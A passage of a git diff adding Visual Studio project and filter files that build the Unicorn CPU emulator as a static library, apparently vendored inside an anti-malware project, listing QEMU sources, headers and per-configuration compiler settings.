Include="..\..\..\qemu\include\hw\arm\arm.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\boards.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\cpu\icc_bus.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\hw.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\i386\apic.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\i386\apic_internal.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\i386\pc.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\irq.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\m68k\m68k.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\m68k\mcf.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\mips\bios.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\mips\cpudevs.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\mips\mips.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\qdev-core.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\qdev.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\sparc\grlib.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\sparc\sparc.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\sparc\sparc32_dma.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\sparc\sun4m.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\dealloc-visitor.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\error.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\opts-visitor.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp-input-visitor.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp-output-visitor.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qbool.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qdict.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qerror.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qfloat.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qint.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qjson.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qlist.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qobject.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qstring.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\types.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\string-input-visitor.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\visitor-impl.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\visitor.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu-common.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\aes.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\atomic.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\bitmap.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\bitops.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\bswap.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\compiler.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\crc32c.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\host-utils.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\int128.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\log.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\module.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\notify.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\osdep.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\queue.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\range.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\thread-posix.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\thread-win32.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\thread.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\timer.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\typedefs.h" /> + <ClInclude Include="..\..\..\qemu\include\qom\cpu.h" /> + <ClInclude Include="..\..\..\qemu\include\qom\object.h" /> + <ClInclude Include="..\..\..\qemu\include\qom\qom-qobject.h" /> + <ClInclude Include="..\..\..\qemu\include\sysemu\accel.h" /> + <ClInclude Include="..\..\..\qemu\include\sysemu\cpus.h" /> + <ClInclude Include="..\..\..\qemu\include\sysemu\memory_mapping.h" /> + <ClInclude Include="..\..\..\qemu\include\sysemu\os-win32.h" /> + <ClInclude Include="..\..\..\qemu\include\sysemu\sysemu.h" /> + <ClInclude Include="..\..\..\qemu\vl.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="..\qapi-types.h" /> + <ClInclude Include="..\qapi-visit.h" /> + </ItemGroup> + <ItemGroup> + <MASM Include="..\..\..\qemu\util\setjmp-wrapper-win32.asm"> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</ExcludedFromBuild> + </MASM> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>unicorn_static</RootNamespace> + <ProjectName>unicorn_static</ProjectName> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;__i386__;UNICORN_HAS_ARM;UNICORN_HAS_ARM64;UNICORN_HAS_M68K;UNICORN_HAS_MIPS;UNICORN_HAS_MIPS64;UNICORN_HAS_MIPSEL;UNICORN_HAS_MIPS64EL;UNICORN_HAS_SPARC;UNICORN_HAS_X86;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <AdditionalIncludeDirectories>.;..;../../../include;../../../qemu;../../../qemu/include;../../../qemu/tcg</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <ExceptionHandling>false</ExceptionHandling> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <Lib> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>aarch64-softmmu.lib;aarch64eb-softmmu.lib;arm-softmmu.lib;armeb-softmmu.lib;m68k-softmmu.lib;mips-softmmu.lib;mips64-softmmu.lib;mipsel-softmmu.lib;mips64el-softmmu.lib;sparc-softmmu.lib;sparc64-softmmu.lib;x86_64-softmmu.lib</AdditionalDependencies> + </Lib> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;__x86_64__;UNICORN_HAS_ARM;UNICORN_HAS_ARM64;UNICORN_HAS_M68K;UNICORN_HAS_MIPS;UNICORN_HAS_MIPS64;UNICORN_HAS_MIPSEL;UNICORN_HAS_MIPS64EL;UNICORN_HAS_SPARC;UNICORN_HAS_X86;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <AdditionalIncludeDirectories>.;..;../../../include;../../../qemu;../../../qemu/include;../../../qemu/tcg</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <ExceptionHandling>false</ExceptionHandling> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <Lib> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>aarch64-softmmu.lib;aarch64eb-softmmu.lib;arm-softmmu.lib;armeb-softmmu.lib;m68k-softmmu.lib;mips-softmmu.lib;mips64-softmmu.lib;mipsel-softmmu.lib;mips64el-softmmu.lib;sparc-softmmu.lib;sparc64-softmmu.lib;x86_64-softmmu.lib</AdditionalDependencies> + </Lib> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;__i386__;UNICORN_HAS_ARM;UNICORN_HAS_ARM64;UNICORN_HAS_M68K;UNICORN_HAS_MIPS;UNICORN_HAS_MIPS64;UNICORN_HAS_MIPSEL;UNICORN_HAS_MIPS64EL;UNICORN_HAS_SPARC;UNICORN_HAS_X86;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <AdditionalIncludeDirectories>.;..;../../../include;../../../qemu;../../../qemu/include;../../../qemu/tcg</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <ExceptionHandling>false</ExceptionHandling> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <Lib> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>aarch64-softmmu.lib;aarch64eb-softmmu.lib;arm-softmmu.lib;armeb-softmmu.lib;m68k-softmmu.lib;mips-softmmu.lib;mips64-softmmu.lib;mipsel-softmmu.lib;mips64el-softmmu.lib;sparc-softmmu.lib;sparc64-softmmu.lib;x86_64-softmmu.lib</AdditionalDependencies> + </Lib> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + <PostBuildEvent> + <Command>mkdir "$(SolutionDir)distro\" +mkdir "$(SolutionDir)distro\include" +mkdir "$(SolutionDir)distro\include\unicorn" +mkdir "$(SolutionDir)distro\$(Platform)" + +copy "$(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).lib" "$(SolutionDir)distro\$(Platform)\" + +copy "$(SolutionDir)..\include\unicorn\*.h" "$(SolutionDir)distro\include\unicorn\" +</Command> + </PostBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;__x86_64__;UNICORN_HAS_ARM;UNICORN_HAS_ARM64;UNICORN_HAS_M68K;UNICORN_HAS_MIPS;UNICORN_HAS_MIPS64;UNICORN_HAS_MIPSEL;UNICORN_HAS_MIPS64EL;UNICORN_HAS_SPARC;UNICORN_HAS_X86;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <AdditionalIncludeDirectories>.;..;../../../include;../../../qemu;../../../qemu/include;../../../qemu/tcg</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <ExceptionHandling>false</ExceptionHandling> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <Lib> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>aarch64-softmmu.lib;aarch64eb-softmmu.lib;arm-softmmu.lib;armeb-softmmu.lib;m68k-softmmu.lib;mips-softmmu.lib;mips64-softmmu.lib;mipsel-softmmu.lib;mips64el-softmmu.lib;sparc-softmmu.lib;sparc64-softmmu.lib;x86_64-softmmu.lib</AdditionalDependencies> + </Lib> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + <PostBuildEvent> + <Command>mkdir "$(SolutionDir)distro\" +mkdir "$(SolutionDir)distro\include" +mkdir "$(SolutionDir)distro\include\unicorn" +mkdir "$(SolutionDir)distro\$(Platform)" + +copy "$(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).lib" "$(SolutionDir)distro\$(Platform)\" + +copy "$(SolutionDir)..\include\unicorn\*.h" "$(SolutionDir)distro\include\unicorn\" +</Command> + </PostBuildEvent> + </ItemDefinitionGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn_static/unicorn_static.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn_static/unicorn_static.vcxproj.filters new file mode 100644 index 0000000..121c3ee --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn_static/unicorn_static.vcxproj.filters @@ -0,0 +1,504 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="qemu"> + <UniqueIdentifier>{13755027-3a13-46c3-9468-ed380fcef603}</UniqueIdentifier> + </Filter> + <Filter Include="priv"> + <UniqueIdentifier>{4f904f9f-fd99-4ebe-8db7-2ee2c644c6e4}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\util"> + <UniqueIdentifier>{1f3288bd-38e9-49c1-ae30-6ac4bc1b86c4}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\hw"> + <UniqueIdentifier>{d98a987f-6e81-4454-9bb4-f79d49d1d8fa}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\qapi"> + <UniqueIdentifier>{9b261303-0cae-4e60-8bc9-c63cd6abd5bc}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\qobject"> + <UniqueIdentifier>{4078dd72-489d-48e6-a7c7-e27149f9513d}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\qom"> + <UniqueIdentifier>{9264dcdf-55d8-4416-9b53-7962937b4db5}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\hw\core"> + <UniqueIdentifier>{973f87b6-2729-473f-bda6-d61d8c799a77}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include"> + <UniqueIdentifier>{235236d2-79fa-48f5-b496-cb79a9290f6b}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\exec"> + <UniqueIdentifier>{4bb86c12-fd75-40be-9891-e4a84ca60703}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\fpu"> + <UniqueIdentifier>{b210c6e7-454a-400c-84c4-d2a10d96db1d}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\hw"> + <UniqueIdentifier>{8bdec3ae-c802-4443-a6f4-e26bd030a1cf}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\hw\arm"> + <UniqueIdentifier>{e7cfa963-4fb5-4c9a-a264-402decbea01d}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\hw\cpu"> + <UniqueIdentifier>{1890ac05-1098-492d-bc0d-50b6e8dd7fc0}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\hw\i386"> + <UniqueIdentifier>{76e19a4b-1143-456a-900c-9ce6c9c0d267}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\hw\m68k"> + <UniqueIdentifier>{0e879645-49d7-4d24-9736-f85d69acceda}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\hw\mips"> + <UniqueIdentifier>{9ecedd1d-44a7-40d1-ad99-f06e49b39aa8}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\hw\sparc"> + <UniqueIdentifier>{50ff932c-1464-4742-af74-fc9b42e4ef3a}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\qapi"> + <UniqueIdentifier>{ea61989d-dc0a-4146-87a0-63e5131d5302}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\qapi\qmp"> + <UniqueIdentifier>{044502cd-501d-40eb-86d0-4c8db24104c7}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\qemu"> + <UniqueIdentifier>{b1debb6d-f445-4f95-9778-d6b926541606}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\qom"> + <UniqueIdentifier>{c5faa816-aae6-41b7-ac8d-40a9783786e0}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\sysemu"> + <UniqueIdentifier>{62c5db3f-0d6d-4a3a-92b7-0cd602058a62}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\list.c"> + <Filter>priv</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\accel.c"> + <Filter>qemu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\glib_compat.c"> + <Filter>qemu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qemu-log.c"> + <Filter>qemu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qemu-timer.c"> + <Filter>qemu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg-runtime.c"> + <Filter>qemu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\vl.c"> + <Filter>qemu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\core\machine.c"> + <Filter>qemu\hw\core</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\core\qdev.c"> + <Filter>qemu\hw\core</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qapi\qapi-dealloc-visitor.c"> + <Filter>qemu\qapi</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qapi\qapi-visit-core.c"> + <Filter>qemu\qapi</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qapi\qmp-input-visitor.c"> + <Filter>qemu\qapi</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qapi\qmp-output-visitor.c"> + <Filter>qemu\qapi</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qapi\string-input-visitor.c"> + <Filter>qemu\qapi</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qobject\qbool.c"> + <Filter>qemu\qobject</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qobject\qdict.c"> + <Filter>qemu\qobject</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qobject\qerror.c"> + <Filter>qemu\qobject</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qobject\qfloat.c"> + <Filter>qemu\qobject</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qobject\qint.c"> + <Filter>qemu\qobject</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qobject\qlist.c"> + <Filter>qemu\qobject</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qobject\qstring.c"> + <Filter>qemu\qobject</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qom\container.c"> + <Filter>qemu\qom</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qom\cpu.c"> + <Filter>qemu\qom</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qom\object.c"> + <Filter>qemu\qom</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qom\qom-qobject.c"> + <Filter>qemu\qom</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\aes.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\bitmap.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\bitops.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\crc32c.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\cutils.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\error.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\getauxval.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\host-utils.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\module.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\oslib-win32.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\qemu-error.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\qemu-thread-win32.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\qemu-timer-common.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\uc.c" /> + <ClCompile Include="..\qapi-visit.c"> + <Filter>qemu</Filter> + </ClCompile> + <ClCompile Include="..\qapi-types.c"> + <Filter>qemu</Filter> + </ClCompile> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\include\list.h"> + <Filter>priv</Filter> + </ClInclude> + <ClInclude Include="..\..\..\include\qemu.h"> + <Filter>priv</Filter> + </ClInclude> + <ClInclude Include="..\..\..\include\uc_priv.h"> + <Filter>priv</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\vl.h"> + <Filter>qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\config.h"> + <Filter>qemu\include</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\elf.h"> + <Filter>qemu\include</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\glib_compat.h"> + <Filter>qemu\include</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu-common.h"> + <Filter>qemu\include</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\address-spaces.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\cpu-all.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\cpu-common.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\cpu-defs.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\cpu_ldst.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\cpu_ldst_template.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\cputlb.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\exec-all.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\gen-icount.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\helper-gen.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\helper-head.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\helper-proto.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\helper-tcg.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\hwaddr.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\ioport.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\memory-internal.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\memory.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\poison.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude 